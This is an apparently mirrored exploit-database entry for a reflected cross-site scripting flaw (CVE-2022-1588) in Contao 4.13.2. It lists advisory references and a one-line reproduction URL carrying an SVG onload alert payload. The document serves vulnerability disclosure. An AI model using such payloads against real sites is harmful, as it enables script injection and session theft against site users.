Exploit for Contao 4.13.2 Cross Site Scripting CVE-2022-1588

## https://sploitus.com/exploit?id=PACKETSTORM:167380
# Exploit Title: Contao 4.13.2 - Cross-Site Scripting (XSS)  
# Google Dork: NA  
# Date: 04/28/2022  
# Exploit Author: Chetanya Sharma @AggressiveUser  
# Vendor Homepage: https://contao.org/en/  
# Software Link: https://github.com/contao/contao/releases/tag/4.13.2  
# Version: [ 4.13.2 ]   
# Tested on: [KALI OS]  
# CVE : CVE-2022-1588  
# References:   
- https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/  
- https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2  
- https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html  
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Steps to reproduce:  
Navigate to the below URL  
URL: https://localhost/contao/"><svg//onload=alert(112233)>